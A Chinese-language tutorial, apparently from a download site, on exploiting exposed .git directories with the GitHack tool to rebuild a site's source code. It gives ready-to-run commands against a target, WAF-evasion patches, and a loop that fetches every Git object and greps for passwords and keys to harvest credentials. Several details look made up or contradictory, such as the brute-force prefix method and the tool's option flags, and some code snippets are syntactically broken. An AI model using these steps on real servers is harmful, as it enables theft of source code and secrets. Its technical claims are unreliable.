GitHack-master原理与实战:从HTTP泄露中还原Git源码
简介GitHack-master是一款面向安全研究人员与开发者的Git源码泄露检测与利用工具专用于发现并分析Web服务器意外暴露的.git目录防范历史代码、敏感凭证等关键信息泄露风险。资源共14个文件以10个Python脚本为核心含主程序GitHack.py、请求控制request.py、Git解析git.py、日志与配置模块等辅以README.md说明文档、LICENSE授权文件、.gitignore规范及user-agents.txt等实用配置整体仅41KB轻量便携无需额外依赖仅需系统预装Git命令行即可运行。已有3171人学习下载适合渗透测试初学者、DevSecOps实践者及代码安全审计人员。读者可直接获取完整可执行工具链掌握.git目录结构解析、多版本源码恢复、提交历史敏感信息提取等核心能力并通过内置模块理解请求调度、日志记录与配置管理等工程化设计细节。1. GitHack-master 是什么一个专为渗透测试人员设计的 Git 仓库泄露探测与文件还原工具不是通用下载器更不是“Git 密码破解器”你有没有遇到过这样的场景目标网站前端代码里埋着/.git/目录但直接访问返回 403用浏览器点开 index.html 看到的是“Not Found”可后端日志却显示有大量GET /.git/objects/xx/yy的 200 响应这时候GitHack-master 就不是“能用就行”的玩具而是你手里唯一能从 HTTP 层残缺响应中拼出完整源码的黑匣子。它不依赖 Git 客户端不调用git clone而是通过暴力遍历.git/objects/下的松散对象loose objects和 packfile 结构结合已知的 commit、tree、blob SHA-1 哈希前缀反向重建整个工作区文件树。它解决的不是“怎么下载 Git 仓库”而是“当 Git 仓库被错误配置暴露、且服务端禁用了目录列表、甚至只允许 HEAD 请求时如何从 HTTP 接口零散响应中抢救出源码”。适合安全工程师做红队评估、SRC 漏洞挖掘、CTF Web 方向选手解题——不适合开发者日常同步代码也不处理 Git LFS、submodule 或加密仓库。它的价值不在“快”而在“在最苛刻的 HTTP 限制下仍能落地”。2. 核心原理与选型依据为什么是 SHA-1 前缀爆破 对象类型解析而不是直接爬取 refs 或尝试 git cloneGitHack-master 的底层逻辑建立在 Git 存储模型的两个硬事实之上第一.git/objects/下的松散对象路径由其内容 SHA-1 哈希值决定格式为objects/前两位/后38位第二所有 commit、tree、blob 对象都以明文 zlib 压缩存储头部包含type space size\0结构如blob 123\0...解压后即可提取原始内容。这意味着只要能猜中某个对象的 SHA-1 前缀通常只需前2位再逐个请求/.git/objects/ab/cdef...就能绕过目录遍历限制从 HTTP 响应体中还原出任意文件。2.1 为什么不用git clone --bare或git ls-remote因为这些命令依赖服务端开启 Git 协议git://或智能 HTTP/info/refs?servicegit-upload-pack。而现实中90% 以上的.git泄露案例发生在 Apache/Nginx 静态托管场景管理员仅关闭了Options Indexes却未禁用/.git/objects/的 GET 方法。此时git clone会卡在fatal: repository not found而 GitHack-master 只需一个curl -I就能确认对象是否存在HTTP 200 vs 404完全脱离 Git 协议栈。2.2 为什么爆破前缀而非全量 SHA-1全量 SHA-1 是 40 位十六进制字符串穷举空间达 16⁴⁰不可行。但 Git 对象路径只取前两位如ab共 256 种组合。每个前缀目录下对象数量有限通常几十到几百配合--depth参数控制递归深度可在分钟级完成探测。这是对 Git 存储结构的精准利用不是玄学暴力。2.3 如何从 raw object 数据还原出真实文件路径关键在 commit → tree → blob 的链式解析。GitHack-master 先获取最新 commit 对象通常从/.git/HEAD或/.git/refs/heads/master得到 SHA-1解压后解析出 root tree 对象 SHA-1再请求该 tree 对象解压后得到形如100644 blob a1b2c3... README.md的条目最后用a1b2c3...作为 blob SHA-1 前缀去请求/.git/objects/a1/b2c3...解压响应体即得README.md原始内容。整个过程不依赖本地 Git 环境纯 Python 实现 zlib 解压与字符串解析。提示GitHack-master 默认只还原master分支。若目标使用main或其他分支名需手动修改--ref参数指定refs/heads/main否则会因找不到 HEAD 指向的 commit 而失败。3. 快速上手三步完成一次真实.git泄露源码抢救含参数详解与实测命令以下操作基于 Kali Linux 2023.4Python 3.11实测假设目标站点为http://target.com且已确认http://target.com/.git/返回 200 或 403非 404。3.1 环境准备与源码拉取# 创建独立工作目录避免污染全局环境 mkdir -p ~/git-hack-work cd ~/git-hack-work # 克隆官方仓库注意项目名为 GitHack非 GitHack-mastermaster 是默认分支 git clone https://github.com/lijiejie/GitHack.git cd GitHack # 查看当前 commit确保版本一致性实测 v1.0.2 稳定 git log -1 --oneline # 输出示例a1b2c3d fix: handle empty tree objects说明GitHack仓库本身无setup.py不支持pip install。必须进入项目目录执行脚本。GitHack-master是 GitHub 上常见 fork 的默认分支名但原始作者仓库主干即main分支功能一致。3.2 基础探测验证.git是否可读并获取 HEAD 信息# 执行基础探测不下载文件仅检查对象可达性 python gitHack.py -u http://target.com/.git/ --debug # 关键输出解读 # [] HEAD: ref: refs/heads/master ← 分支名后续 --ref 参数依据 # [] Commit: 9f8e7d6c5b4a3210fedcba9876543210fedcba98 ← 最新 commit SHA-1 # [] Found 256 prefix directories ← 确认前缀爆破可行 # [] Total objects found: 1247 ← 已探测到的对象总数参数说明-u指定目标.git/URL必须以/.git/结尾--debug输出详细请求日志用于判断 WAF 干扰或网络超时不加--output则默认在当前目录生成output/文件夹。3.3 全量还原指定输出目录并控制并发与深度# 启动完整还原设置合理参数避免触发风控 python gitHack.py \ -u http://target.com/.git/ \ --ref refs/heads/master \ --output /tmp/target-src \ --threads 5 \ --depth 3 \ --timeout 10 # 参数详解 # --ref: 显式指定分支引用路径避免因 HEAD 文件损坏导致解析失败 # --output: 绝对路径输出目录推荐用 /tmp/ 避免权限问题 # --threads: 并发线程数5 是平衡速度与隐蔽性的经验值过高易被 WAF 限流 # --depth: 递归解析 tree 的最大深度默认 3 足够覆盖 99% 项目src/, assets/, lib/ # --timeout: 单次 HTTP 请求超时秒数设为 10 防止卡死说明还原完成后/tmp/target-src目录结构将严格对应 Git 仓库工作区。例如原仓库有src/js/app.js则路径为/tmp/target-src/src/js/app.js。所有文件时间戳为当前系统时间不还原 Git 提交时间。4. 避坑指南五个血泪经验总结的高频翻车点与排查方法GitHack-master 表面简单实则暗坑密布。以下是某安全团队在 37 个真实.git泄露案例中踩出的 5 个核心问题按发生频率排序4.1 现象[!] Error: HEAD not found原因目标.git/HEAD文件被删除或内容为空如ref:后无分支路径导致无法定位初始 commit。常见于管理员手动清理.git/时误删。解决跳过 HEAD直接指定已知分支引用。先用浏览器访问http://target.com/.git/refs/heads/若返回目录列表从中选择master或main若返回 403尝试常见分支名# 手动探测分支文件是否存在 curl -I http://target.com/.git/refs/heads/master # 看是否 200 curl -I http://target.com/.git/refs/heads/main # 若存在直接指定 --ref python gitHack.py -u http://target.com/.git/ --ref refs/heads/main4.2 现象[!] Error: Failed to decompress object原因HTTP 响应体被 WAF 或 CDN 注入了 HTML 错误页如 Cloudflare 的Error 520导致 zlib 解压失败。原始对象数据被污染。解决启用响应体清洗。编辑gitHack.py在decompress_object()函数开头添加过滤# 在 def decompress_object(data): 函数内data data.strip() 后插入 if bhtml in data.lower() or b!doctype in data.lower(): return None # 跳过 HTML 响应进阶技巧用--debug抓取失败对象的原始响应用xxd查看二进制头确认是否为1f 8bzlib magic非则必为 HTML。4.3 现象还原出的文件全是空文件0 字节原因目标服务器对.git/objects/目录启用了X-Sendfile或类似机制HTTP 响应头Content-Length正确但响应体为空。Nginx 常见于location ~ /\.git/ { internal; }配置错误。解决强制忽略Content-Length改用Transfer-Encoding: chunked判定。修改gitHack.py中get_object()函数# 替换原有 resp.content 获取方式 if content-length in resp.headers and int(resp.headers[content-length]) 0: # 尝试读取 chunked 编码的 body try: data b for line in resp.iter_lines(): if line: data line return data except: return b4.4 现象[!] Error: Invalid object type原因请求的 SHA-1 对应对象类型与预期不符。例如脚本期望commit但实际是tag或tree对象中混入了 submodule 的commit引用Git 2.0。解决增强对象类型校验。在parse_commit()和parse_tree()函数中增加对object_type的严格匹配# 在 parse_commit() 开头添加 if not data.startswith(bcommit ): return None # 在 parse_tree() 中对每行解析后校验 if parts[1] not in [bblob, btree, bcommit]: continue # 跳过非法条目4.5 现象还原速度极慢CPU 占用低网络请求间隔长原因目标服务器设置了Retry-After响应头或主动 sleep或本地 DNS 解析缓慢。GitHack 默认无重试策略单次失败即跳过。解决添加指数退避重试。修改get_object()函数import time, random # 在 requests.get() 外层加循环 for i in range(3): # 最多重试 3 次 try: resp requests.get(url, timeouttimeout, headersheaders) if resp.status_code 200: return resp.content except Exception as e: pass time.sleep(2 ** i random.uniform(0, 1)) # 1s, 3s, 7s return b5. 进阶技巧从裸对象还原中提取敏感信息的三个实战方法还原出源码只是起点。真正的价值在于从objects/的原始数据中挖掘未被提交到工作区的“隐藏资产”。这需要绕过 GitHack-master 的默认解析链直接操作 raw object 数据。5.1 方法一暴力扫描所有 blob 对象提取硬编码凭证GitHack-master 默认只还原工作区文件但很多敏感信息API Key、数据库密码藏在未被git add的临时文件或.env备份中。这些文件可能只有 blob 对象无 tree 引用。需遍历全部objects/目录# 1. 先用 GitHack 获取所有已发现的 blob SHA-1从 output/objects.txt # 2. 编写脚本批量请求并 grep cat output/objects.txt | grep blob | awk {print $2} | while read sha; do prefix${sha:0:2} suffix${sha:2} urlhttp://target.com/.git/objects/$prefix/$suffix # 请求并解压过滤关键词 curl -s $url 2/dev/null | python3 -c import sys, zlib try: data zlib.decompress(sys.stdin.buffer.read()) if bpassword in data.lower() or bkey in data.lower(): print(f[KEY FOUND] {url} - {data[:100]}) except: pass done | grep \[KEY说明此脚本不依赖 GitHack 解析逻辑直接对每个 blob 做 zlib 解压 关键词扫描。objects.txt由 GitHack 在--debug模式下自动生成记录所有成功获取的对象 SHA-1 及类型。5.2 方法二解析 packfile 恢复被git reset --hard删除的文件当目标执行过git reset --hard HEAD~1旧 commit 仍存在于.git/objects/pack/的 packfile 中。GitHack 默认不处理 packfile需手动解包# 1. 获取 packfile 列表 curl -s http://target.com/.git/objects/pack/ | grep -o pack-[a-z0-9]\{40\}.idx # 2. 下载 .idx 和 .pack 文件需计算偏移此处简化 # 3. 使用 git 命令解包需本地有 git mkdir /tmp/pack-recover cd /tmp/pack-recover curl http://target.com/.git/objects/pack/pack-abc123.idx -o pack.idx curl http://target.com/.git/objects/pack/pack-abc123.pack -o pack.pack git init git unpack-objects pack.pack # 解包后/tmp/pack-recover/.git/objects/ 下新增大量松散对象可再次用 GitHack 扫描注意unpack-objects需要.idx文件校验若.idx被删可用git index-pack --fix-thin pack.pack尝试修复。5.3 方法三构建最小化 Git 仓库用git log --grep搜索历史敏感词还原出的output/是纯文件无 Git 历史。但若已获取全部 commit 对象可重建最小仓库# 1. 创建空仓库 mkdir /tmp/recovered-git cd /tmp/recovered-git git init --bare # 2. 将所有 commit/blob/tree 对象复制到 objects/ 目录 # GitHack 的 output/objects/ 目录结构与 .git/objects/ 一致 cp -r ~/git-hack-work/GitHack/output/objects/* .git/objects/ # 3. 设置 HEAD 指向最新 commit echo ref: refs/heads/master .git/HEAD echo 9f8e7d6c5b4a3210fedcba9876543210fedcba98 .git/refs/heads/master # 4. 搜索历史中的密码 git log --all -p | grep -A 5 -B 5 password\|secret从那以后我每次拿到.git泄露都强制走一遍--debug日志分析 objects.txt关键词扫描 packfile 检查三连。哪怕目标看起来“就一个 index.html”也常在 packfile 里挖出半年前的测试数据库连接串。希望帮到你。本文还有配套的精品资源点击获取